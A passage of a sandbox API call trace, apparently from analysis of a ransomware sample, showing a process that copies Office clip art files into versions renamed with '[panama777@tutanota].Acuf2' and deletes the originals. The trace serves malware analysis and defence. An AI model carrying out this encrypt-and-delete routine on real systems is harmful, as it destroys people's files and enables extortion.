	[0274.651] lstrlenW (lpString=".dbf") returned 4
	[0274.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63
	[0274.651] lstrlenW (lpString=".1cd") returned 4
	[0274.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106222.WMF") returned 63
	[0274.651] lstrlenW (lpString=".jpg") returned 4
	[0274.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.812] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.812] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0274.813] GetLastError () returned 0x0
	[0274.813] ReadFile (in: hFile=0x274, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x16ec, lpOverlapped=0x0) returned 1
	[0274.824] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x16f0, lpOverlapped=0x0) returned 1
	[0274.825] ReadFile (in: hFile=0x274, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.825] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.825] SetEndOfFile (hFile=0x36c) returned 1
	[0274.825] CloseHandle (hObject=0x36c) returned 1
	[0274.825] SetFilePointerEx (in: hFile=0x274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.825] SetEndOfFile (hFile=0x274) returned 1
	[0274.827] CloseHandle (hObject=0x274) returned 1
	[0274.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.975] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf")) returned 1
	[0274.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63
	[0274.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63
	[0274.982] lstrlenW (lpString=".doc") returned 4
	[0274.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.982] lstrlenW (lpString=".docx") returned 5
	[0274.982] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0274.982] lstrlenW (lpString=".pdf") returned 4
	[0274.982] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.982] lstrlenW (lpString=".xls") returned 4
	[0274.982] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.982] lstrlenW (lpString=".xlsx") returned 5
	[0274.982] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0274.982] lstrlenW (lpString=".ppt") returned 4
	[0274.982] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63
	[0274.982] lstrlenW (lpString=".zip") returned 4
	[0274.982] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.982] lstrlenW (lpString=".rar") returned 4
	[0274.982] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.982] lstrlenW (lpString=".bz2") returned 4
	[0274.982] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.982] lstrlenW (lpString=".7z") returned 3
	[0274.982] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63
	[0274.982] lstrlenW (lpString=".dbf") returned 4
	[0274.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63
	[0274.983] lstrlenW (lpString=".1cd") returned 4
	[0274.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63
	[0274.983] lstrlenW (lpString=".jpg") returned 4
	[0274.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.983] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=12308) returned 1
	[0274.983] CloseHandle (hObject=0x28c) returned 1
	[0274.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf")) returned 0x20
	[0274.983] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0274.984] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.984] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0274.984] GetLastError () returned 0x0
	[0274.984] ReadFile (in: hFile=0x28c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x3014, lpOverlapped=0x0) returned 1
	[0275.001] WriteFile (in: hFile=0x274, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x3020, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x3020, lpOverlapped=0x0) returned 1
	[0275.002] ReadFile (in: hFile=0x28c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.002] WriteFile (in: hFile=0x274, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.002] SetEndOfFile (hFile=0x274) returned 1
	[0275.002] CloseHandle (hObject=0x274) returned 1
	[0275.002] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.002] SetEndOfFile (hFile=0x28c) returned 1
	[0275.006] CloseHandle (hObject=0x28c) returned 1
	[0275.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.013] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107290.wmf")) returned 1
	[0275.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63
	[0275.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63
	[0275.192] lstrlenW (lpString=".doc") returned 4
	[0275.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.192] lstrlenW (lpString=".docx") returned 5
	[0275.192] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0275.192] lstrlenW (lpString=".pdf") returned 4
	[0275.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.192] lstrlenW (lpString=".xls") returned 4
	[0275.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.192] lstrlenW (lpString=".xlsx") returned 5
	[0275.192] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0275.192] lstrlenW (lpString=".ppt") returned 4
	[0275.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63
	[0275.192] lstrlenW (lpString=".zip") returned 4
	[0275.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.192] lstrlenW (lpString=".rar") returned 4
	[0275.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.192] lstrlenW (lpString=".bz2") returned 4
	[0275.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.192] lstrlenW (lpString=".7z") returned 3
	[0275.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63
	[0275.192] lstrlenW (lpString=".dbf") returned 4
	[0275.192] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63
	[0275.192] lstrlenW (lpString=".1cd") returned 4
	[0275.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107290.WMF") returned 63
	[0275.193] lstrlenW (lpString=".jpg") returned 4
	[0275.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.193] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=5076) returned 1
	[0275.193] CloseHandle (hObject=0x358) returned 1
	[0275.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf")) returned 0x20
	[0275.193] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0275.193] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.193] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0275.194] GetLastError () returned 0x0
	[0275.194] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x13d4, lpOverlapped=0x0) returned 1
	[0275.206] WriteFile (in: hFile=0x35c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x13e0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x13e0, lpOverlapped=0x0) returned 1
	[0275.206] ReadFile (in: hFile=0x358, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.207] WriteFile (in: hFile=0x35c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.207] SetEndOfFile (hFile=0x35c) returned 1
	[0275.207] CloseHandle (hObject=0x35c) returned 1
	[0275.207] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.207] SetEndOfFile (hFile=0x358) returned 1
	[0275.209] CloseHandle (hObject=0x358) returned 1
	[0275.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107344.wmf")) returned 1
	[0275.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63
	[0275.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63
	[0275.209] lstrlenW (lpString=".doc") returned 4
	[0275.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.210] lstrlenW (lpString=".docx") returned 5
	[0275.210] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0275.210] lstrlenW (lpString=".pdf") returned 4
	[0275.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.210] lstrlenW (lpString=".xls") returned 4
	[0275.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.210] lstrlenW (lpString=".xlsx") returned 5
	[0275.210] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0275.210] lstrlenW (lpString=".ppt") returned 4
	[0275.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63
	[0275.210] lstrlenW (lpString=".zip") returned 4
	[0275.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.210] lstrlenW (lpString=".rar") returned 4
	[0275.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.210] lstrlenW (lpString=".bz2") returned 4
	[0275.210] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.210] lstrlenW (lpString=".7z") returned 3
	[0275.210] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63
	[0275.210] lstrlenW (lpString=".dbf") returned 4
	[0275.210] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63
	[0275.210] lstrlenW (lpString=".1cd") returned 4
	[0275.210] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107344.WMF") returned 63
	[0275.210] lstrlenW (lpString=".jpg") returned 4
	[0275.210] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.250] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=23672) returned 1
	[0275.250] CloseHandle (hObject=0x360) returned 1
	[0275.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf")) returned 0x20
	[0275.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0275.387] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.387] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0275.388] GetLastError () returned 0x0
	[0275.388] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x5c78, lpOverlapped=0x0) returned 1
	[0275.425] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x5c80, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x5c80, lpOverlapped=0x0) returned 1
	[0275.448] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.448] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.448] SetEndOfFile (hFile=0x28c) returned 1
	[0275.448] CloseHandle (hObject=0x28c) returned 1
	[0275.448] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.448] SetEndOfFile (hFile=0x34c) returned 1
	[0275.451] CloseHandle (hObject=0x34c) returned 1
	[0275.451] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0275.451] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107350.wmf")) returned 1
	[0275.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63
	[0275.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63
	[0275.451] lstrlenW (lpString=".doc") returned 4
	[0275.451] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0275.451] lstrlenW (lpString=".docx") returned 5
	[0275.451] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0275.451] lstrlenW (lpString=".pdf") returned 4
	[0275.452] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0275.452] lstrlenW (lpString=".xls") returned 4
	[0275.452] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0275.452] lstrlenW (lpString=".xlsx") returned 5
	[0275.452] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0275.452] lstrlenW (lpString=".ppt") returned 4
	[0275.452] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0275.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63
	[0275.452] lstrlenW (lpString=".zip") returned 4
	[0275.452] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0275.452] lstrlenW (lpString=".rar") returned 4
	[0275.452] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0275.452] lstrlenW (lpString=".bz2") returned 4
	[0275.452] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0275.452] lstrlenW (lpString=".7z") returned 3
	[0275.452] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0275.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63
	[0275.452] lstrlenW (lpString=".dbf") returned 4
	[0275.452] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0275.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63
	[0275.452] lstrlenW (lpString=".1cd") returned 4
	[0275.452] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0275.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107350.WMF") returned 63
	[0275.452] lstrlenW (lpString=".jpg") returned 4
	[0275.452] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0275.453] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=30336) returned 1
	[0275.453] CloseHandle (hObject=0x34c) returned 1
	[0275.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf")) returned 0x20
	[0275.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0275.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0275.453] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.453] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0275.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0275.454] GetLastError () returned 0x0
	[0275.454] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x7680, lpOverlapped=0x0) returned 1
	[0275.685] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x7690, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x7690, lpOverlapped=0x0) returned 1
	[0275.687] ReadFile (in: hFile=0x34c, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0275.687] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0275.687] SetEndOfFile (hFile=0x28c) returned 1
	[0275.687] CloseHandle (hObject=0x28c) returned 1
